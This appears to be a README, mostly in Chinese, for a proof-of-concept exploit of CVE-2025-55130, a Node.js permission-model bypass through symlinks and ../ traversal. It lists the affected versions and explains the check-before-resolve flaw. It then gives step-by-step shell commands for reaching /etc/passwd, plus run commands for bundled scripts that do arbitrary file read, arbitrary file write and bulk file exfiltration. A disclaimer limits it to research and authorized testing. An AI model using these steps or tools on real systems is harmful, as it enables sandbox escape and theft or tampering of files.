
POC for CVE-2025-55130
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js权限模型绕过——通过精心构造的符号链接
[ 发现者:natann @ JFrog ]
Node.js中的一个路径遍历漏洞允许通过指向绝对路径的符号链接结合相对路径遍历,突破 --allow-fs-read 和 --allow-fs-write 权限限制。
权限检查和路径解析是分开进行的。一旦初始路径通过了权限检查,符号链接就会被跟随,遍历序列会逃逸沙箱。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 20.x | < 20.20.0 | 20.20.0 |
| 22.x | < 22.22.0 | 22.22.0 |
| 24.x | < 24.13.0 | 24.13.0 |
| 25.x | < 25.3.0 | 25.3.0 |
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
权限模型在符号链接解析之前验证路径字符串。通过创建一个指向绝对路径的符号链接并在符号链接后使用 ../ 遍历,我们可以逃逸允许的目录。
1. mkdir -p ./a/b/c/d/e/f/g # 在允许路径中创建嵌套目录
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # 符号链接指向绝对路径
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
| 文件 | 用途 |
|---|---|
exploit.js | 主利用程序 - 读取任意文件 |
exploit_write.js | 写入任意文件 |
exfil.js | 批量文件外泄 |
# 基础利用
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# 检查是否受漏洞影响
node check.js
# 批量外泄
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
仅用于研究和授权测试。
check.js| 版本漏洞检查 |